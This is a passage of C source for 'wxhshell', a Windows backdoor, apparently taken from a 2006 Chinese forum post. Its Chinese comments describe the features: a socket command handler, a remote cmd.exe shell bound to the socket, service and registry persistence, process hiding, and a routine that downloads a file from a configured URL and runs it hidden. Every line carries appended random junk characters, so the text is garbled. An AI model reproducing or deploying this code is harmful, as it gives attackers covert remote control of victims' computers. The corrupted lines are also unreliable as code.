      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E1ob+h:`d  
    break; _ N f[HP  
  } ;xtb2c8HT  
  // 安装 L?C~ qS2g  
  case 'i': { @=#s~ 3  
    if(Install()) wR+`("2{r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BOQV X&g%  
    else s i.a]k/f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~(L+4]  
    break; 9x^ /kAB  
    } m:Cx~  
  // 卸载 'L59\y8H  
  case 'r': { "v(]"L  
    if(Uninstall()) `/ReJj&~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uWtS83i  
    else 2pNJWYW"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "_@+/Iy.  
    break; _"bvT?|  
    }  KP-z  
  // 显示 wxhshell 所在路径 /D]r "-  
  case 'p': { :9q^  
    char svExeFile[MAX_PATH]; UMW^0>Z!v  
    strcpy(svExeFile,"\n\r"); $hp?5K M  
      strcat(svExeFile,ExeFile); (IHBib "  
        send(wsh,svExeFile,strlen(svExeFile),0); il%tu<E#J~  
    break; !;C(pnE  
    } R{A/ +7!  
  // 重启 ,vw`YKg  
  case 'b': { gL"Q.ybA  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #&KE_ n  
    if(Boot(REBOOT)) )mVYqlU"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >t2)Z|1  
    else { rWpfAE)!  
    closesocket(wsh); mf[79:90^  
    ExitThread(0); s:F+bG}|  
    } WvzvGT=  
    break; 5d{Ggg{s  
    } pcTXTy 28  
  // 关机 k#NMD4(%O  
  case 'd': { #|h8u`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); pdqa)>$  
    if(Boot(SHUTDOWN)) aMg f6veM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IMrOPwjc  
    else { [y;ZbfMP|o  
    closesocket(wsh); J,KTc'[  
    ExitThread(0); -mo ' $1  
    } %)ov,p |  
    break; T\CQ  
    } WREGRy  
  // 获取shell (`/i1#nR  
  case 's': { ibUPd."W  
    CmdShell(wsh); v$/i5kcWx  
    closesocket(wsh); B_jI!i{N%o  
    ExitThread(0); }C`0" 1  
    break; 8&hn$~ate  
  } Dohe(\C@  
  // 退出 W%Q>< 'c  
  case 'x': { Z*"t]L  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); TiEJyd`P  
    CloseIt(wsh); jAHn`Bxz  
    break; &-Er n/[  
    } eG>Fn6G<g  
  // 离开 IVODR  
  case 'q': { } U1shG[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Qh%vh ;|^  
    closesocket(wsh); jN>UW}?  
    WSACleanup(); Y,}43a0A  
    exit(1); J uKaRR~  
    break; 3-%~{(T/  
        } @soW f  
  } |ema-pRC  
  } , )3+hnFY  
2dW-WHaM  
  // 提示信息 g c=|< (  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -3U} (cZ*  
} 7B"aFnK;[J  
  } )WJI=jl  
^q r[?ky]&  
  return; tO3B_zC  
} "z4E|s  
yE{UV>ry  
// shell模块句柄 4zbV' ]  
int CmdShell(SOCKET sock) io_64K+K  
{ b?L43t,  
STARTUPINFO si; 9 NSYrIQ"  
ZeroMemory(&si,sizeof(si)); j'cCX[i  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \9Zfu4WR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7O :Gi*MA  
PROCESS_INFORMATION ProcessInfo; )@M|YM1+  
char cmdline[]="cmd"; v3#47F)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k5CIU}H"  
  return 0; hmk5 1  
}  :Xr3 3  
74wa  
// 自身启动模式 D)6||z}  
int StartFromService(void) RlI qH;n  
{ (I g *iJ%2  
typedef struct 1&nrZG9  
{ * OFT)S  
  DWORD ExitStatus; m':m`,c!  
  DWORD PebBaseAddress; sM[c\Z]  
  DWORD AffinityMask; t2<(by!  
  DWORD BasePriority; J3^Ir [  
  ULONG UniqueProcessId; xF0*q  
  ULONG InheritedFromUniqueProcessId; +Q&@2 oY"  
}   PROCESS_BASIC_INFORMATION; u:?RdB}B_@  
]xs\,}I%  
PROCNTQSIP NtQueryInformationProcess; NKYyMHv6  
zaPR>:r0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; g;@PEZk1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3qZ{yr2N[  
{'C74s  
  HANDLE             hProcess; :D-vE7  
  PROCESS_BASIC_INFORMATION pbi; u?/]"4  
%&GQ]pmcY  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {.W%m  
  if(NULL == hInst ) return 0; Fd'L:A~  
<h0ptCB  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %)]RM/e8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Rv o<ISp  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8yl /!O,v  
tJ3s#q6  
  if (!NtQueryInformationProcess) return 0; Yb*}2  
=wc[ r?7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Hq8.O/Y"=  
  if(!hProcess) return 0; G9Ezm*I;:  
ST.W{:X   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qxh\umm+2  
RzRLrfV  
  CloseHandle(hProcess); ' 'N@ <|  
j+seJg<_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )qe o`4+y  
if(hProcess==NULL) return 0; af{K4:I  
1Btf)y'  
HMODULE hMod; qI:wm=  
char procName[255]; Stpho4+/y  
unsigned long cbNeeded; ) 'KHUa9  
" OtLJ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Dr609(zg^  
H*IoJL6  
  CloseHandle(hProcess); QB>e(j%  
!s:|Ddv  
if(strstr(procName,"services")) return 1; // 以服务启动 rKxk?}  
," v%  
  return 0; // 注册表启动 9X~^w_cdk  
} 1??RX}8[L+  
!b=$FOC>  
// 主模块 eS|p3jk;  
int StartWxhshell(LPSTR lpCmdLine) -)GfSk   
{ c$;enAf@  
  SOCKET wsl; zQJbZ=5Bu"  
BOOL val=TRUE; b%F*Nr  
  int port=0; x&wUPo{  
  struct sockaddr_in door; d=XhOC$  
|@nXlZE  
  if(wscfg.ws_autoins) Install(); #.RI9B  
AF}HS8eYy  
port=atoi(lpCmdLine); k:.c(_2M  
s+11) ~  
if(port<=0) port=wscfg.ws_port; }, H,ky  
/uVB[Tk^  
  WSADATA data; &0`L;1R  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q ^?{6}sy  
R<)uvW_@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +Xk!)Ge5E*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); n:+M Nr  
  door.sin_family = AF_INET; '7^_$M3$\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); I/l]Yv!  
  door.sin_port = htons(port); Z8W<RiR  
)_ uK(UNZ5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~jaGf  
closesocket(wsl); y;H 3g#  
return 1;  W~4|Z=f  
} KpL82  
xXtDGP  
  if(listen(wsl,2) == INVALID_SOCKET) { JC-L80-  
closesocket(wsl); rRW&29A  
return 1; &wfM:a/c  
} |V& k1{V  
  Wxhshell(wsl); 2#^[`sFPO  
  WSACleanup(); P\R3/g  
f]4gDmn^  
return 0;  E=E  
Vz^:| qON  
} d=pq+  
sC j3h  
// 以NT服务方式启动 -?[:Zn~$a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (\T?p9  
{ Onl:eG;@  
DWORD   status = 0; mP-+];gg  
  DWORD   specificError = 0xfffffff; Xo,BuK&G  
-mXEbsm  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %`~8j H@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <8Ad\MU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; PHoW|K_e  
  serviceStatus.dwWin32ExitCode     = 0; $8Zw<aEJ  
  serviceStatus.dwServiceSpecificExitCode = 0; Jad'8}0J  
  serviceStatus.dwCheckPoint       = 0; 4PdFq*A  
  serviceStatus.dwWaitHint       = 0; 0Z\fK>yw  
BB-`=X~:m  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Qk6FK]buV  
  if (hServiceStatusHandle==0) return; +MEWAW[}^  
SE\`JGA[  
status = GetLastError(); p`It=16trT  
  if (status!=NO_ERROR) qxq ~9\My  
{ `]Xb w^Y'x  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; q7;)&_'  
    serviceStatus.dwCheckPoint       = 0; ,70|I{,Km  
    serviceStatus.dwWaitHint       = 0; .R1)i-^  
    serviceStatus.dwWin32ExitCode     = status; uZNR]+Yu@  
    serviceStatus.dwServiceSpecificExitCode = specificError; opBv x>S  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gr_I/+<  
    return; QeK~A@|F&  
  } jooh`| `P  
X,p&S^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w/R^Vwq  
  serviceStatus.dwCheckPoint       = 0; (\G~S 4  
  serviceStatus.dwWaitHint       = 0; vi'K|[!?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r6A7}v  
} UuN(+&oD-  
umi#Se3&  
// 处理NT服务事件,比如:启动、停止 J[9jNCq|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) OAv/P|n=  
{ N%0Z> G  
switch(fdwControl) 9 i"3R0HN  
{ >0>M@s  
case SERVICE_CONTROL_STOP: .w0?  
  serviceStatus.dwWin32ExitCode = 0; DQ,QyV  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Y$N|p{Z  
  serviceStatus.dwCheckPoint   = 0; 9:P)@UF  
  serviceStatus.dwWaitHint     = 0; 6ik6JL$AI  
  {  9TeDLp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7Kn=[2J5k'  
  } L Nj|t)Ov  
  return; bBZvL  
case SERVICE_CONTROL_PAUSE: JL <}9K  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; CxO) d7c  
  break; X%;,r 2g  
case SERVICE_CONTROL_CONTINUE: ;m\E9ple  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; k07O.9>  
  break; S>6APQ-   
case SERVICE_CONTROL_INTERROGATE: ohwQ%NDl  
  break; w^r*qi"  
}; zFOX%q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?&?y-&.5-  
} ]^s4NXf+  
p 0-\G6  
// 标准应用程序主函数 qoEOM%dAqV  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (A1!)c  
{ }ts?ZR^V,  
7UMsKE-  
// 获取操作系统版本 iJ~p X\FKO  
OsIsNt=GetOsVer(); GU=h2LSi]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); pPh$Jvo]  
KxY|:-"Tt  
  // 从命令行安装 `P'{HT  
  if(strpbrk(lpCmdLine,"iI")) Install();  ?9AByg  
#x'C  
  // 下载执行文件 xe 6x!  
if(wscfg.ws_downexe) { _I2AJn`#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) uu(.,11`  
  WinExec(wscfg.ws_filenam,SW_HIDE); iXBc ~S  
} @#sQ7eMoy  
keX0br7u_  
if(!OsIsNt) { 8R)*8bb  
// 如果时win9x,隐藏进程并且设置为注册表启动 :kgwKuhL  
HideProc(); |gT$M _}  
StartWxhshell(lpCmdLine); D|OX]3~  
}  Q}G   
else b+hZ<U/  
  if(StartFromService()) :V`q;g  
  // 以服务方式启动 w^dB1Y7c(W  
  StartServiceCtrlDispatcher(DispatchTable); x *(pr5k  
else P4s:wuJ^  
  // 普通方式启动 K2NnA  
  StartWxhshell(lpCmdLine); 7pkc*@t  
n`CmbM@@  
return 0; D`Fl*Wc4H  
}
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只看该作者 1 发表于: 2006-10-10
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